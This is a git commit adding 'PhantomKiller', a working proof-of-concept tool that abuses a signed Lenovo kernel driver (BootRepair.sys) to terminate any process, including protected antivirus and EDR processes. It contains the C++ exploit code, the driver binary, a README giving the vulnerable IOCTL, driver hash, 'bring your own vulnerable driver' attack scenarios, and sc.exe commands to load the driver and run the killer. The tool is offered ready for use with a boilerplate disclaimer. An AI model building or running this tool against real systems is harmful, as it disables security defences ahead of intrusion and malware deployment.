commit 8fdf1403b0e81c4f4a0077344989fbf58a823378 Author: j3h4ck Date: Tue May 19 07:14:40 2026 +0000 Upload files to "/" diff --git a/PhantomKiller.cpp b/PhantomKiller.cpp new file mode 100644 index 0000000..6bd2868 --- /dev/null +++ b/PhantomKiller.cpp @@ -0,0 +1,25 @@ +#include +#include + +int main(int argc, char* argv[]) { + if (argc != 2) { + printf("usage: poc.exe \n"); + return 1; + } + + DWORD pid = atoi(argv[1]); + HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] open device failed: %d\n", GetLastError()); + return 1; + } + + DWORD ret; + if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL)) + printf("[+] killed %d\n", pid); + else + printf("[-] ioctl failed: %d\n", GetLastError()); + + CloseHandle(h); + return 0; +} \ No newline at end of file diff --git a/PhantomKiller.slnx b/PhantomKiller.slnx new file mode 100644 index 0000000..79e547d --- /dev/null +++ b/PhantomKiller.slnx @@ -0,0 +1,7 @@ + + + + + + + diff --git a/PhantomKiller.sys b/PhantomKiller.sys new file mode 100644 index 0000000..cbf308b Binary files /dev/null and b/PhantomKiller.sys differ diff --git a/PhantomKiller.vcxproj b/PhantomKiller.vcxproj new file mode 100644 index 0000000..c2b29e3 --- /dev/null +++ b/PhantomKiller.vcxproj @@ -0,0 +1,136 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {6596f834-4a7c-465f-9271-ffca5806403a} + PhantomKiller + 10.0 + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + MultiThreaded + + + Console + true + + + + + + + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..20e4b1b --- /dev/null +++ b/README.md @@ -0,0 +1,56 @@ +# PhantomKiller + +weaponizing a signed lenovo kernel driver to terminate any process — including EDR/AV protected processes. + +## overview + +PhantomKiller abuses `BootRepair.sys`, a legitimate lenovo driver shipped with Lenovo PC Manager. the driver exposes a device object (`\\.\BootRepair`) with no DACL restrictions and a single IOCTL (`0x222014`) that takes a 4-byte PID and calls `ZwTerminateProcess`, no access checks, no caller validation, no protection. + +**full writeup:** [Phantom Killer — Reverse Engineering and Weaponizing a Lenovo Driver to Terminate EDR Processes](https://medium.com/@jehadbudagga/phantom-killer-reverse-engineering-and-weaponizing-a-lenovo-driver-to-terminate-edr-processes-9191cd06374f) + +## driver details + +| field | value | +|-------|-------| +| file name | `BootRepair.sys` | +| sha256 | `5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946` | +| signer | LENOVO (Symantec Class 3 SHA256 Code Signing CA) | +| compiled | 2018-01-03 | +| arch | x64 | +| VT detections | 0/71 at time of discovery | + +## vulnerability summary + +- device object created without secure DACL — any user can open a handle +- `IRP_MJ_CREATE` (MajorFunction[0]) has no access checks +- `IRP_MJ_DEVICE_CONTROL` (MajorFunction[14]) accepts IOCTL `0x222014` +- input: 4-byte `DWORD` (target PID) +- internally calls `PsLookupProcessByProcessId` → `ObOpenObjectByPointer` → `ZwTerminateProcess` +- kills any process including PPL-protected AV/EDR processes + +## attack scenarios + +**driver already loaded:** any low-privileged user can open the device and terminate any process on the system. + +**BYOVD:** an attacker loads the signed driver via `sc.exe` or similar, then uses it to kill EDR processes before deploying post-exploitation tools. + +## usage + +``` +sc.exe create PhantomKiller binPath="C:\Path\to\BootRepair.sys" type=kernel +sc.exe start PhantomKiller +``` + +``` +PhantomKiller.exe +``` + + + +## disclaimer + +this project is for **educational and authorized security research purposes only**. do not use this against systems you do not own or have explicit permission to test. the author is not responsible for any misuse. + +## author + +**j3h4ck** — [@j3h4ck](https://twitter.com/j3h4ck) | [linkedin](https://www.linkedin.com/in/jehadabudagga/) | [medium](https://medium.com/@j3h4ck)